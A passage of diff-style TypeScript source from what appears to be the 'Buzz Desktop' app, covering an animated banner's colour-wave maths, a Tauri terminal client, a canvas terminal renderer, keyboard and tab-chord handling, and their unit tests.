Math.min(buckets - 1, Math.max(0, Math.min(1, value) * buckets - 0.5));
/** Wrap into [0,1). Phase is cyclic; a bare modulo leaves negatives negative. */
const wrap01 = (value: number) => value - Math.floor(value);
/**
* THE SEAM FIX. A cyclic axis cannot drive an open ramp directly.
*
* The three-stop ramp is a PATH, not a loop: `ramp(0)` is stop 0 and `ramp(1)`
* is stop 2, and those two ends are as far apart as the palette gets. Feeding
* it a wrapping phase means that every cycle, somewhere on screen, adjacent
* cells straddle the 1 -> 0 wrap and jump the entire width of the palette. On
* buzz-dark that seam measured 182.5 in sRGB distance (#3dcf55 against
* #7bb7ff) — a hard colour edge sweeping across the lattice once per period,
* which is not "slow waves of the theme colours", it is a glitch.
*
* The fix is to make the cyclic axis traverse the ramp and come back:
* 0 -> 1 over the first half of the cycle, 1 -> 0 over the second. The ends
* are then interior turning points and adjacency holds everywhere, so the loop
* is seamless by construction rather than by choice of period.
*
* THIS DOES NOT REVERSE THE WAVE, and an earlier version of this comment
* claimed it did. The claim was false and it cost a review round (Wren's #4541
* gate), so the reasoning is recorded here rather than left to be re-derived.
*
* Write the field as `hue(x, phase) = A(G(p(x) + phase))`, where `p` is affine
* in position (see `projectWave`), `G` is this fold, and `A` is `applyIntensity`
* (affine, monotone). Phase enters `G` ONLY through the sum `p(x) + phase`, so
* for a shift `d` along +direction, `p(x + d*u) = p(x) - d*wavelength/span` and
*
* hue(x + d*u, phase + D) = hue(x, phase) for d = D * span / wavelength
*
* exactly, at every phase, FOR ANY `G` WHATSOEVER. The shape of `G` sets the
* spatial PROFILE; it cannot touch the direction of MOTION. `d` has the sign of
* `D`, so travel is uniformly one-way for as long as phase advances, and one
* full cycle translates the pattern by exactly one spatial period -- continuous
* BR->TL travel and a seamless wrap at the same time, not a trade between them.
*
* The mistake worth not repeating: the fold DOES make a fixed cell's colour
* oscillate (cell(60,25) reads 0.5 0.7 0.9 0.9 0.7 0.5 0.3 0.1 0.1 0.3 0.5 over
* one cycle). That is a property of a POINT, not of the pattern -- it is what
* every travelling wave does to a point it passes over -- and reading it as a
* direction reversal is what put the false sentence here. `travelDirection` in
* the test file measures the pattern across the WHOLE cycle, including the
* alleged turn at phase 0.5 and the wrap, with a time-folded positive control.
*
* What the fold does cost is aesthetic, not kinematic: the spatial palette
* profile is mirrored (A->C->A) rather than circulating (A->B->C->A).
*/
export function cyclicRampPosition(phase: number): number {
const wrapped = wrap01(phase);
return wrapped < 0.5 ? wrapped * 2 : 2 - wrapped * 2;
}
/** Cell aspect: cells are 8.4 x 17 CSS px, so one row is ~2.02 columns tall. */
const CELL_ASPECT = 17 / 8.4;
/**
* Apply `intensity` about the ramp's midpoint. Narrowing rather than scaling
* keeps the sweep centred, so turning intensity down fades toward the middle
* colour instead of sliding toward one end.
*/
const applyIntensity = (position: number, intensity: number) =>
0.5 + (position - 0.5) * Math.max(0, Math.min(1, intensity));
/**
* THE WAVE AXIS: a projection onto a direction vector in VISUAL space.
*
* `phase(cell) = (x*dx + y*dy)/wavelength - t*speed`, per Eva's spec, with two
* details that are easy to get wrong and invisible in a still frame:
*
* - ASPECT. Row indices are multiplied by ~2.02 before projecting, because a
* cell is about twice as tall as it is wide. Without this a (-1,-1) vector
* renders as a ~27-degree wave, not the 45 degrees it reads as in source.
* - SIGN. The projection is NEGATED so the wave travels TOWARD `direction`.
* A crest sits where the projection is constant; as time advances, holding
* it constant requires moving along +direction. For the field's (-1,-1)
* that is up-and-left, i.e. originating bottom-right as Tyler asked.
*
* The normalisation divisor is the projection's own visual span, so
* `wavelength` means the same thing (ramp traversals per screen-width) at every
* viewport size and for every direction.
*/
export function projectWave(
config: BannerWaveConfig,
column: number,
row: number,
columns: number,
rows: number,
): number {
const { x: dx, y: dy } = config.direction;
const length = Math.hypot(dx, dy) || 1;
const unitX = dx / length;
const unitY = dy / length;
const visualY = row * CELL_ASPECT;
const visualHeight = Math.max(1, rows * CELL_ASPECT);
const span =
Math.abs(unitX) * Math.max(1, columns) + Math.abs(unitY) * visualHeight;
return (-(column * unitX + visualY * unitY) / span) * config.wavelength;
}
/**
* The field's hue axis: projected position plus phase, folded, then narrowed by
* intensity.
*/
export function fieldHue(
config: BannerWaveConfig,
column: number,
row: number,
columns: number,
rows: number,
phase: number,
): number {
return applyIntensity(
cyclicRampPosition(projectWave(config, column, row, columns, rows) + phase),
config.intensity,
);
}
/**
* The wordmark wave: LEFT TO RIGHT, over the mark's own ink span.
*
* The geometry already hands us `t` = 0 at the wordmark's left edge to 1 at its
* right, so the mark's wave rides that rather than viewport columns: the sweep
* stays anchored to the letters at every viewport width. SUBTRACTING phase is
* what makes it travel rightward, opposite to the field.
*/
export function wordmarkHue(
config: BannerWaveConfig,
t: number,
phase: number,
): number {
const along = config.direction.x >= 0 ? t : 1 - t;
return applyIntensity(
cyclicRampPosition(along * config.wavelength - phase),
config.intensity,
);
}
/** The pair of wave configs in force. Overridable so the knob-extreme gates can
* drive documented settings without mutating module state. */
export type BannerWaves = {
field: BannerWaveConfig;
wordmark: BannerWaveConfig;
};
export const DEFAULT_WAVES: BannerWaves = {
field: FIELD_WAVE,
wordmark: WORDMARK_WAVE,
};
/**
* A cell's hue axis, as a closure over everything that is constant for a frame.
*
* The split is deliberate: viewport extent, phase and tuning are per-FRAME, and
* only `(layer, t, column, row)` is per-CELL. Passing the frame-constant half
* per cell is how this function grew to seven positional arguments and started
* breaking its own call sites on every signature change. Closing over them also
* keeps the per-cell path allocation-free, which a coordinates object would not.
*
* Bevels return the ramp midpoint — they are not part of either wave, and
* returning `t` here instead would tie the chassis to the field's motion.
*/
export function makeCellHue(
columns: number,
rows: number,
phase: { field: number; wordmark: number },
waves: BannerWaves = DEFAULT_WAVES,
): (layer: Layer, t: number, column: number, row: number) => number {
return (layer, t, column, row) => {
if (layer === "field")
return fieldHue(waves.field, column, row, columns, rows, phase.field);
if (layer === "head") return wordmarkHue(waves.wordmark, t, phase.wordmark);
return 0;
};
}
/** Phase pair at a wall-clock time, in seconds. */
export function phaseAt(seconds: number): { field: number; wordmark: number } {
return {
field: wrap01(seconds / FIELD_WAVE.seconds),
wordmark: wrap01(seconds / WORDMARK_WAVE.seconds),
};
}
/**
* Phase-INDEPENDENT colour table. This is what makes the animation affordable.
*
* Measured on this box, buzz-dark, median of 7: calling `bannerColor` per cell
* costs 42.7ms for a 112x46 banner (256% of a 60Hz frame) and 203ms at 228x90
* (1218%). Per-cell-per-frame is not a micro-optimisation problem, it is dead
* on arrival by 2.6-12x. The cost is concentrated: the field's `atRatio` pin is
* ~23us/cell against ~0.9us for the wordmark's `lift` path.
*
* The table is keyed on SAMPLED (layer, hue, contrast) and nothing else, so it
* does not depend on phase or on time and fills exactly once per palette.
* Steady-state frames are a lookup and one lerp.
*/
export type BannerColorTable = Readonly<{
head: readonly string[];
field: readonly (readonly string[])[];
bevelHi: string;
bevelLo: string;
lookup: (layer: Layer, t: number, hue: number) => string;
}>;
export function buildBannerColorTable(
palette: TerminalPalette,
): BannerColorTable {
const { stops } = bannerStops(palette);
const centre = (index: number, buckets: number) => (index + 0.5) / buckets;
const head = Array.from({ length: HUE_BUCKETS }, (_, h) =>
bannerColor(palette, stops, "head", 0, centre(h, HUE_BUCKETS)),
);
const field = Array.from({ length: CONTRAST_BUCKETS }, (_, c) =>
Array.from({ length: HUE_BUCKETS }, (_, h) =>
bannerColor(
palette,
stops,
"field",
centre(c, CONTRAST_BUCKETS),
centre(h, HUE_BUCKETS),
),
),
);
const bevelHi = bannerColor(palette, stops, "bevel_hi", 0);
const bevelLo = bannerColor(palette, stops, "bevel_lo", 0);
// NUMERIC MIRRORS of the tables, parsed once at build time. The lookup path is
// per-cell-per-frame, and `mix()` re-parses its arguments from hex on every
// call — worse, `hex2rgb(b)` sits INSIDE its per-channel map, so it parses `b`
// four times. A bilinear field lookup is three nested mixes, so a single cell
// cost ~12 string parses plus 3 hex formats. Measured before this change:
// 13.6ms/frame of pure lookup at 228x90 (80% of the animated frame, 101.6% of a
// 60Hz budget). Parsing once here makes the steady-state path arithmetic.
const headRgb = head.map(hex2rgb);
const fieldRgb = field.map((row) => row.map(hex2rgb));
// Quantization is LOAD-BEARING, not incidental. `rgb2hex` rounds and clamps
// each channel to an integer, so the old nested-`mix` path quantized its
// INTERMEDIATE blend before the outer blend consumed it. Skipping that would
// change output bytes — and the WCAG floor and dE00 certificates were measured
// against the old bytes. So this reproduces `rgb2hex`'s rounding exactly at the
// same point the old path applied it, and byte equality is verified by an
// oracle over 20.4M lookups x 62 themes rather than assumed.
const quantize = (value: number) =>
Math.max(0, Math.min(255, Math.round(value)));
const mixRgb = (a: readonly number[], b: readonly number[], u: number) => [
quantize(a[0] + (b[0] - a[0]) * u),
quantize(a[1] + (b[1] - a[1]) * u),
quantize(a[2] + (b[2] - a[2]) * u),
];
// Same short-circuits as the string `blend` it replaces: at the ends, return
// the endpoint untouched rather than round-tripping it.
const blendRgb = (a: readonly number[], b: readonly number[], u: number) =>
u <= 0 ? a : u >= 1 ? b : mixRgb(a, b, u);
const sampleHead = (hue: number) => {
const position = axisPosition(hue, HUE_BUCKETS);
const low = Math.floor(position);
const blended = rgb2hex(
blendRgb(
headRgb[low],
headRgb[Math.min(HUE_BUCKETS - 1, low + 1)],
position - low,
),
);
// RE-LIFT. The endpoints are solved to sit exactly ON the 4.5 floor, and
// contrast is convex in the blend parameter, so the chord between two
// on-floor samples passes UNDER it — measured 4.4766 on solarized-light at
// hue 0.2188 with 128 buckets. Small, but 4.4766 < 4.5 is a WCAG failure on
// shipped pixels, and raising the bucket count only shrinks the dip
// asymptotically without ever removing it. Lifting the blend is exact.
// `lift` is a no-op when the blend already clears the floor, which is the
// overwhelming majority of lookups.
return lift(blended, palette.background, WORDMARK_FLOOR);
};
return {
head,
field,
bevelHi,
bevelLo,
// Bilinear on (contrast, hue) for the field, linear on hue for the
// wordmark. This is what makes the output continuous in hue, so bucket
// count is a fidelity knob rather than the thing standing between the
// gradient and visible banding.
lookup: (layer, t, hue) => {
switch (layer) {
case "head":
return sampleHead(hue);
case "field": {
const contrastPosition = axisPosition(t, CONTRAST_BUCKETS);
const contrastLow = Math.floor(contrastPosition);
const huePosition = axisPosition(hue, HUE_BUCKETS);
const hueLow = Math.floor(huePosition);
const hueHigh = Math.min(HUE_BUCKETS - 1, hueLow + 1);
const hueFraction = huePosition - hueLow;
const near = fieldRgb[contrastLow];
const far = fieldRgb[Math.min(CONTRAST_BUCKETS - 1, contrastLow + 1)];
return rgb2hex(
blendRgb(
blendRgb(near[hueLow], near[hueHigh], hueFraction),
blendRgb(far[hueLow], far[hueHigh], hueFraction),
contrastPosition - contrastLow,
),
);
}
case "bevel_hi":
return bevelHi;
case "bevel_lo":
return bevelLo;
}
},
};
}

View File

@@ -0,0 +1,114 @@
import assert from "node:assert/strict";
import { afterEach, test } from "node:test";
const callbacks = new Map();
const calls = [];
let nextCallback = 1;
let attachDuringInvoke;
globalThis.isTauri = true;
globalThis.window = {
__TAURI_INTERNALS__: {
invoke(command, args) {
calls.push({ command, args });
if (command === "terminal_attach") attachDuringInvoke?.(args);
return Promise.resolve(
command === "terminal_attach"
? {
sessionId: "session-1",
subscriptionId: "subscription-1",
viewport: { columns: 80, generation: 0, screenLines: 24 },
}
: undefined,
);
},
transformCallback(callback) {
const id = nextCallback++;
callbacks.set(id, callback);
return id;
},
unregisterCallback(id) {
callbacks.delete(id);
},
},
isTauri: true,
};
const { TerminalConnection } = await import("./terminalClient.ts");
function emit(channel, message, index = 0) {
const id = Number(channel.toJSON().slice("__CHANNEL__:".length));
callbacks.get(id)({ index, message });
}
const request = {
channelId: "channel-1",
channelName: "general",
npub: "npub1test",
relayUrl: "wss://relay.example",
columns: 80,
rows: 24,
pixelWidth: 800,
pixelHeight: 408,
};
const frame = {
type: "frame",
payload: {
subscriptionId: "subscription-1",
sequence: 7,
rows: [],
cursor: { column: 0, line: 0, visible: true },
full: true,
viewport: { columns: 80, generation: 0, screenLines: 24 },
bracketedPaste: true,
focusReporting: true,
},
};
afterEach(() => {
calls.length = 0;
attachDuringInvoke = undefined;
});
test("attach retains a bootstrap frame delivered before invoke resolves", async () => {
const deliveries = [];
attachDuringInvoke = ({ onFrame }) => emit(onFrame, frame);
const connection = await TerminalConnection.attach(
request,
() => {},
(delivery) => deliveries.push(delivery),
);
assert.equal(connection.sessionId, "session-1");
assert.equal(deliveries.length, 1);
assert.equal(deliveries[0].frame.sequence, 7);
await deliveries[0].acknowledge();
assert.deepEqual(calls.at(-1), {
command: "terminal_ack",
args: {
sessionId: "session-1",
subscriptionId: "subscription-1",
sequence: 7,
},
});
});
test("stale subscription frames are ignored", async () => {
const deliveries = [];
let channel;
attachDuringInvoke = ({ onFrame }) => {
channel = onFrame;
};
await TerminalConnection.attach(
request,
() => {},
(value) => deliveries.push(value),
);
emit(
channel,
{ ...frame, payload: { ...frame.payload, subscriptionId: "stale" } },
0,
);
assert.deepEqual(deliveries, []);
});

View File

@@ -0,0 +1,153 @@
import { Channel, invoke, isTauri } from "@tauri-apps/api/core";
import type { TerminalFrame } from "./terminalRenderer";
export type TerminalAttachRequest = {
sessionId?: string;
channelId: string;
channelName: string;
threadId?: string;
npub: string;
relayUrl: string;
columns: number;
rows: number;
pixelWidth: number;
pixelHeight: number;
};
export type TerminalViewport = TerminalFrame["viewport"];
export type TerminalFrameMessage = TerminalFrame & {
subscriptionId: string;
sequence: number;
bracketedPaste: boolean;
focusReporting: boolean;
};
export type TerminalMessage =
| { type: "frame"; payload: TerminalFrameMessage }
| { type: "title"; payload: string }
| { type: "resetTitle"; payload?: never }
| { type: "bell"; payload?: never }
| { type: "exit"; payload?: never };
type AttachResponse = {
sessionId: string;
subscriptionId: string;
viewport: TerminalViewport;
};
export type TerminalDelivery = {
frame: TerminalFrameMessage;
acknowledge: () => Promise<void>;
};
export class TerminalConnection {
readonly sessionId: string;
readonly subscriptionId: string;
readonly viewport: TerminalViewport;
private constructor(response: AttachResponse) {
this.sessionId = response.sessionId;
this.subscriptionId = response.subscriptionId;
this.viewport = response.viewport;
}
static async attach(
request: TerminalAttachRequest,
onMessage: (message: Exclude<TerminalMessage, { type: "frame" }>) => void,
onFrame: (delivery: TerminalDelivery) => void,
): Promise<TerminalConnection> {
if (!isTauri()) throw new Error("terminal sessions require Buzz Desktop");
let connection: TerminalConnection | null = null;
const pending: TerminalMessage[] = [];
const deliver = (message: TerminalMessage) => {
if (!connection) {
pending.push(message);
return;
}
if (message.type !== "frame") {
onMessage(message);
return;
}
const frame = message.payload;
if (frame.subscriptionId !== connection.subscriptionId) return;
onFrame({
frame,
acknowledge: () =>
connection?.acknowledge(frame.sequence) ?? Promise.resolve(),
});
};
const channel = new Channel<TerminalMessage>(deliver);
const response = await invoke<AttachResponse>("terminal_attach", {
request,
onFrame: channel,
});
connection = new TerminalConnection(response);
for (const message of pending) deliver(message);
return connection;
}
input(data: string): Promise<void> {
return invoke("terminal_input", { sessionId: this.sessionId, data });
}
async resize(
columns: number,
rows: number,
pixelWidth: number,
pixelHeight: number,
): Promise<TerminalViewport> {
return invoke("terminal_resize", {
sessionId: this.sessionId,
columns,
rows,
pixelWidth,
pixelHeight,
});
}
viewportReady(viewport: TerminalViewport): Promise<void> {
return invoke("terminal_viewport_ready", {
sessionId: this.sessionId,
subscriptionId: this.subscriptionId,
viewport,
});
}
/**
* Scroll the viewport by whole cells.
*
* `lines` keeps the DOM's sign: negative is the direction that scrolls a
* page toward the top of the document. The backend owns the conversion to
* the engine's opposite convention, so this layer carries no policy about
* which way history is.
*/
scroll(lines: number): Promise<void> {
return invoke("terminal_scroll", { sessionId: this.sessionId, lines });
}
focus(focused: boolean): Promise<void> {
return invoke("terminal_focus", { sessionId: this.sessionId, focused });
}
detach(): Promise<void> {
return invoke("terminal_detach", {
sessionId: this.sessionId,
subscriptionId: this.subscriptionId,
});
}
close(): Promise<void> {
return invoke("terminal_close", { sessionId: this.sessionId });
}
private acknowledge(sequence: number): Promise<void> {
return invoke("terminal_ack", {
sessionId: this.sessionId,
subscriptionId: this.subscriptionId,
sequence,
});
}
}

View File

@@ -0,0 +1,167 @@
import assert from "node:assert/strict";
import test from "node:test";
import { TerminalGrid } from "./terminalRenderer.ts";
const palette = {
background: "#000000",
foreground: "#ffffff",
cursor: "#ffffff",
cursorText: "#000000",
ansi: Object.fromEntries(
[
"black",
"red",
"green",
"yellow",
"blue",
"magenta",
"cyan",
"white",
"brightBlack",
"brightRed",
"brightGreen",
"brightYellow",
"brightBlue",
"brightMagenta",
"brightCyan",
"brightWhite",
].map((name, index) => [name, `#${index.toString(16).padStart(6, "0")}`]),
),
};
function context() {
const text = [];
const fills = [];
return {
text,
fills,
fillStyle: "",
font: "",
textBaseline: "alphabetic",
save() {},
restore() {},
fillRect(...args) {
fills.push(args);
},
fillText(...args) {
text.push(args);
},
};
}
const metrics = {
width: 10,
height: 20,
baseline: 15,
font: "normal",
boldFont: "bold",
};
test("clusters draw at computed columns, never accumulated text width", () => {
const grid = new TerminalGrid({ generation: 0, columns: 12, screenLines: 1 });
assert.equal(
grid.apply({
viewport: grid.viewport,
full: true,
cursor: { line: 0, column: 0, visible: false },
rows: [
{
line: 0,
spans: [
{
style: { fg: 0x01000007, bg: 0x01000101, flags: 0 },
clusters: [
{ column: 0, text: "a", width: 1 },
{ column: 1, text: "😀", width: 2 },
{ column: 3, text: "b", width: 1 },
{ column: 4, text: "一", width: 2 },
{ column: 6, text: "c", width: 1 },
],
},
],
},
],
}),
true,
);
const ctx = context();
grid.paint(ctx, metrics, palette);
assert.deepEqual(
ctx.text.map((call) => [call[0], call[1]]),
[
["a", 0],
["😀", 10],
["b", 30],
["一", 40],
["c", 60],
],
);
});
test("combining marks stay in one cluster and consume one cell", () => {
const grid = new TerminalGrid({ generation: 2, columns: 4, screenLines: 1 });
grid.apply({
viewport: grid.viewport,
full: false,
cursor: { line: 0, column: 0, visible: false },
rows: [
{
line: 0,
spans: [
{
style: { fg: 0x01000007, bg: 0x01000101, flags: 0 },
clusters: [{ column: 2, text: "é", width: 1 }],
},
],
},
],
});
const ctx = context();
grid.paint(ctx, metrics, palette);
assert.deepEqual(ctx.text[0], ["é", 20, 15]);
});
test("stale viewport frames are rejected without mutating retained rows", () => {
const grid = new TerminalGrid({ generation: 4, columns: 4, screenLines: 1 });
assert.equal(
grid.apply({
viewport: { generation: 3, columns: 4, screenLines: 1 },
full: true,
cursor: { line: 0, column: 0, visible: false },
rows: [],
}),
false,
);
});
test("cursor visibility can blink without a new terminal frame", () => {
const grid = new TerminalGrid({ generation: 0, columns: 4, screenLines: 1 });
grid.apply({
viewport: grid.viewport,
full: true,
cursor: { line: 0, column: 2, visible: true },
rows: [],
});
const visible = context();
grid.paint(visible, metrics, palette);
assert.ok(visible.fills.some((fill) => fill[0] === 20 && fill[2] === 1.2));
grid.setCursorPainted(false);
const hidden = context();
grid.paint(hidden, metrics, palette);
assert.equal(
hidden.fills.some((fill) => fill[0] === 20 && fill[2] === 1.2),
false,
);
assert.ok(
hidden.fills.some((fill) => fill[0] === 0 && fill[2] === 40),
"hiding the cursor must repaint its row to erase the old caret",
);
grid.setCursorPainted(true);
const restored = context();
grid.paint(restored, metrics, palette);
assert.ok(restored.fills.some((fill) => fill[0] === 20 && fill[2] === 1.2));
});

View File

@@ -0,0 +1,233 @@
import {
ANSI_COLOR_NAMES,
type AnsiColorName,
type TerminalPalette,
} from "@/shared/theme/terminal-palette";
export type TerminalViewport = {
generation: number;
columns: number;
screenLines: number;
};
export type TerminalStyle = { fg: number; bg: number; flags: number };
export type TerminalCluster = {
column: number;
text: string;
width: 1 | 2;
};
export type TerminalSpan = {
style: TerminalStyle;
clusters: readonly TerminalCluster[];
};
export type TerminalRow = { line: number; spans: readonly TerminalSpan[] };
export type TerminalCursor = {
line: number;
column: number;
visible: boolean;
};
export type TerminalFrame = {
viewport: TerminalViewport;
rows: readonly TerminalRow[];
cursor: TerminalCursor;
full: boolean;
};
export type CellMetrics = {
width: number;
height: number;
baseline: number;
font: string;
boldFont: string;
};
export const TERMINAL_CELL_METRICS = {
width: 8.4,
height: 17,
baseline: 13,
font: '14px "JetBrains Mono", monospace',
boldFont: '700 14px "JetBrains Mono", monospace',
} as const satisfies CellMetrics;
type RetainedRow = readonly TerminalSpan[];
export type PaintContext = Pick<
CanvasRenderingContext2D,
| "fillStyle"
| "font"
| "textBaseline"
| "fillRect"
| "fillText"
| "save"
| "restore"
>;
const COLOR_KIND = 0xff00_0000;
const COLOR_VALUE = 0x00ff_ffff;
const NAMED = 0x0100_0000;
const INDEXED = 0x0200_0000;
const RGB = 0x0300_0000;
const BOLD = 1 << 0;
function xtermIndexed(index: number, palette: TerminalPalette): string {
if (index < 16) return palette.ansi[ANSI_COLOR_NAMES[index]];
if (index < 232) {
const offset = index - 16;
const levels = [0, 95, 135, 175, 215, 255];
const r = levels[Math.floor(offset / 36)];
const g = levels[Math.floor((offset % 36) / 6)];
const b = levels[offset % 6];
return `rgb(${r} ${g} ${b})`;
}
const gray = 8 + (index - 232) * 10;
return `rgb(${gray} ${gray} ${gray})`;
}
export function resolvePackedColor(
packed: number,
palette: TerminalPalette,
fallback: "foreground" | "background",
): string {
const kind = packed & COLOR_KIND;
const value = packed & COLOR_VALUE;
if (kind === RGB) {
return `#${value.toString(16).padStart(6, "0")}`;
}
if (kind === INDEXED) return xtermIndexed(value & 0xff, palette);
if (kind === NAMED) {
if (value < 16) return palette.ansi[ANSI_COLOR_NAMES[value]];
if (value === 256 || value === 272) return palette.foreground;
if (value === 257) return palette.background;
if (value === 258) return palette.cursor;
if (value >= 259 && value <= 266) {
return palette.ansi[ANSI_COLOR_NAMES[value - 259] as AnsiColorName];
}
if (value === 271) return palette.ansi.brightWhite;
}
return palette[fallback];
}
/** Retained terminal grid. Applying a frame only dirties rows it names. */
export class TerminalGrid {
#viewport: TerminalViewport;
#rows: RetainedRow[];
#dirty = new Set<number>();
#cursor: TerminalCursor = { line: 0, column: 0, visible: false };
#cursorPainted = true;
constructor(viewport: TerminalViewport) {
this.#viewport = viewport;
this.#rows = Array.from({ length: viewport.screenLines }, () => []);
this.markAllDirty();
}
get viewport(): TerminalViewport {
return this.#viewport;
}
apply(frame: TerminalFrame): boolean {
if (
frame.viewport.generation !== this.#viewport.generation ||
frame.viewport.columns !== this.#viewport.columns ||
frame.viewport.screenLines !== this.#viewport.screenLines
) {
return false;
}
if (frame.full) this.markAllDirty();
this.#dirty.add(this.#cursor.line);
this.#cursor = frame.cursor;
this.#dirty.add(this.#cursor.line);
for (const row of frame.rows) {
if (row.line < this.#rows.length) {
this.#rows[row.line] = row.spans;
this.#dirty.add(row.line);
}
}
return true;
}
resize(viewport: TerminalViewport): void {
this.#viewport = viewport;
this.#rows = Array.from({ length: viewport.screenLines }, () => []);
this.#cursor = { line: 0, column: 0, visible: false };
this.markAllDirty();
}
markAllDirty(): void {
for (let line = 0; line < this.#viewport.screenLines; line++) {
this.#dirty.add(line);
}
}
setCursorPainted(painted: boolean): void {
if (this.#cursorPainted === painted) return;
this.#cursorPainted = painted;
this.#dirty.add(this.#cursor.line);
}
paint(
context: PaintContext,
metrics: CellMetrics,
palette: TerminalPalette,
): number {
const started = performance.now();
context.save();
context.textBaseline = "alphabetic";
const dirty = [...this.#dirty].sort((a, b) => a - b);
for (const line of dirty) {
const y = line * metrics.height;
context.fillStyle = palette.background;
context.fillRect(
0,
y,
this.#viewport.columns * metrics.width,
metrics.height,
);
for (const span of this.#rows[line] ?? []) {
const background = resolvePackedColor(
span.style.bg,
palette,
"background",
);
context.fillStyle = background;
for (const cluster of span.clusters) {
context.fillRect(
cluster.column * metrics.width,
y,
cluster.width * metrics.width,
metrics.height,
);
}
context.fillStyle = resolvePackedColor(
span.style.fg,
palette,
"foreground",
);
context.font =
span.style.flags & BOLD ? metrics.boldFont : metrics.font;
for (const cluster of span.clusters) {
context.fillText(
cluster.text,
cluster.column * metrics.width,
y + metrics.baseline,
);
}
}
}
if (this.#cursor.visible && this.#cursorPainted) {
context.fillStyle = palette.cursor;
context.fillRect(
this.#cursor.column * metrics.width,
this.#cursor.line * metrics.height,
Math.max(1, metrics.width * 0.12),
metrics.height,
);
}
context.restore();
this.#dirty.clear();
return performance.now() - started;
}
}

View File

@@ -0,0 +1,215 @@
import assert from "node:assert/strict";
import test from "node:test";
import {
INITIAL_HANDOFF_STATE,
accumulateScrollLines,
encodePaste,
encodeTerminalKey,
matchTabChord,
reduceHandoff,
stepSession,
} from "./terminalState.ts";
test("ownership changes on completed chord, never key-down or repeat", () => {
const down = reduceHandoff(INITIAL_HANDOFF_STATE, {
type: "chord-down",
repeat: false,
});
assert.equal(down.state.owner, "buzz");
assert.equal(down.toggled, false);
assert.equal(
reduceHandoff(down.state, { type: "chord-up" }).state.owner,
"terminal",
);
assert.deepEqual(
reduceHandoff(INITIAL_HANDOFF_STATE, {
type: "chord-down",
repeat: true,
}),
{ state: INITIAL_HANDOFF_STATE, toggled: false },
);
});
test("composition and focus loss cancel an armed chord", () => {
const armed = reduceHandoff(INITIAL_HANDOFF_STATE, {
type: "chord-down",
repeat: false,
}).state;
const composing = reduceHandoff(armed, { type: "composition-start" }).state;
assert.equal(reduceHandoff(composing, { type: "chord-up" }).toggled, false);
const blurred = reduceHandoff(armed, { type: "focus-lost" }).state;
assert.equal(reduceHandoff(blurred, { type: "chord-up" }).toggled, false);
});
test("terminal key encoding covers control, navigation, and alt prefixes", () => {
assert.equal(
encodeTerminalKey({
key: "c",
ctrlKey: true,
altKey: false,
metaKey: false,
}),
"\u0003",
);
assert.equal(
encodeTerminalKey({
key: "ArrowUp",
ctrlKey: false,
altKey: false,
metaKey: false,
}),
"\u001b[A",
);
assert.equal(
encodeTerminalKey({
key: "x",
ctrlKey: false,
altKey: true,
metaKey: false,
}),
"\u001bx",
);
assert.equal(
encodeTerminalKey({
key: "x",
ctrlKey: false,
altKey: false,
metaKey: true,
}),
null,
);
});
test("bracketed paste wraps the entire payload exactly once", () => {
assert.equal(encodePaste("a\nb", false), "a\nb");
assert.equal(encodePaste("a\nb", true), "\u001b[200~a\nb\u001b[201~");
});
test("pixel scrolling retains fractional lines in both directions", () => {
const state = { remainderPx: 0 };
let result = accumulateScrollLines(state, 3, 10);
assert.equal(result.lines, 0);
result = accumulateScrollLines(result.state, 8, 10);
assert.equal(result.lines, 1);
assert.equal(result.state.remainderPx, 1);
result = accumulateScrollLines(result.state, -12, 10);
assert.equal(result.lines, -1);
assert.equal(result.state.remainderPx, -1);
});
function chord(overrides) {
return {
altKey: false,
code: "KeyT",
ctrlKey: false,
metaKey: false,
shiftKey: false,
...overrides,
};
}
test("tab chords match the platform's primary modifier only", () => {
assert.equal(matchTabChord(chord({ metaKey: true }), true), "new");
assert.equal(
matchTabChord(chord({ code: "KeyW", metaKey: true }), true),
"close",
);
assert.equal(
matchTabChord(
chord({ code: "ArrowLeft", metaKey: true, shiftKey: true }),
true,
),
"previous",
);
assert.equal(
matchTabChord(
chord({ code: "ArrowRight", metaKey: true, shiftKey: true }),
true,
),
"next",
);
// The whole reason the matcher takes `isMac`: on macOS ^W is werase and ^T
// transposes. Claiming them here would swallow them before the textarea
// could encode them for the PTY.
assert.equal(matchTabChord(chord({ ctrlKey: true }), true), null);
assert.equal(
matchTabChord(chord({ code: "KeyW", ctrlKey: true }), true),
null,
);
assert.equal(
matchTabChord(chord({ ctrlKey: true, metaKey: true }), true),
null,
"Control must veto even alongside Command",
);
// Non-mac mirrors it: Ctrl is primary, Meta is not.
assert.equal(matchTabChord(chord({ ctrlKey: true }), false), "new");
assert.equal(matchTabChord(chord({ metaKey: true }), false), null);
// Unmodified and Alt-modified keys stay with the terminal.
assert.equal(matchTabChord(chord({}), true), null);
assert.equal(
matchTabChord(chord({ altKey: true, metaKey: true }), true),
null,
);
// Arrows without Shift are cursor keys, not tab switches.
assert.equal(
matchTabChord(chord({ code: "ArrowLeft", metaKey: true }), true),
null,
);
// Shift+Cmd+T/W are not chords we claim.
assert.equal(
matchTabChord(chord({ metaKey: true, shiftKey: true }), true),
null,
);
});
test("tab stepping wraps and skips tabs whose select button is disabled", () => {
const three = [
{ active: false, closing: false, id: "a" },
{ active: true, closing: false, id: "b" },
{ active: false, closing: false, id: "c" },
];
assert.equal(stepSession(three, 1), "c");
assert.equal(stepSession(three, -1), "a");
// Wrap at both ends.
const first = [
{ active: true, closing: false, id: "a" },
{ active: false, closing: false, id: "b" },
];
assert.equal(stepSession(first, -1), "b");
assert.equal(stepSession(first, 1), "b");
// A closing tab is disabled in the tab bar, so the keyboard skips past it.
assert.equal(
stepSession(
[
{ active: true, closing: false, id: "a" },
{ active: false, closing: true, id: "b" },
{ active: false, closing: false, id: "c" },
],
1,
),
"c",
);
// Nowhere to go: single tab, and all-others-closing.
assert.equal(
stepSession([{ active: true, closing: false, id: "a" }], 1),
null,
);
assert.equal(
stepSession(
[
{ active: true, closing: false, id: "a" },
{ active: false, closing: true, id: "b" },
],
1,
),
null,
);
assert.equal(stepSession([], 1), null);
});

View File

@@ -0,0 +1,183 @@
export type TerminalOwner = "buzz" | "terminal";
export type HandoffState = {
owner: TerminalOwner;
chordArmed: boolean;
composing: boolean;
};
export type HandoffAction =
| { type: "composition-start" }
| { type: "composition-end" }
| { type: "chord-down"; repeat: boolean }
| { type: "chord-up" }
| { type: "focus-lost" };
export type HandoffResult = {
state: HandoffState;
toggled: boolean;
};
export const INITIAL_HANDOFF_STATE: HandoffState = {
owner: "buzz",
chordArmed: false,
composing: false,
};
/** The shortcut is a transaction completed only by a matching key-up. */
export function reduceHandoff(
state: HandoffState,
action: HandoffAction,
): HandoffResult {
if (action.type === "composition-start") {
return {
